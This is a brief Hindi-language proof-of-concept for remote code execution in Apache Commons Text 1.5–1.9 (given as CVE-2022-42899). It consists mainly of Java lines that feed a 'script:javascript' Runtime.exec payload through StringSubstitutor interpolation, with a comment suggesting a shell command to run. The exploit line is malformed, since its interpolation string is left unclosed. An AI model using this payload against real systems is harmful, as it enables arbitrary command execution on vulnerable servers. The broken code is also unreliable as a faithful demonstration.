
CVE-2022-42899 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, Apache Commons Text 1.5-1.9 में StringSubstitutor इंटरपोलेशन के माध्यम से script:javascript पेलोड के साथ रिमोट कोड निष्पादन प्रदर्शित करता है।
Apache Common Text संस्करण 1.5 से 1.9 तक में रिमोट कोड निष्पादन भेद्यता CVE-2022-42899 है।
final StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
interpolator.replace("${script:javascript:java.lang.Runtime.getRuntime().exec('<payload to execute RCE>"); // Here you will pass payload which you want to execute such as 'mkdir /tmp/cve-2022-42899'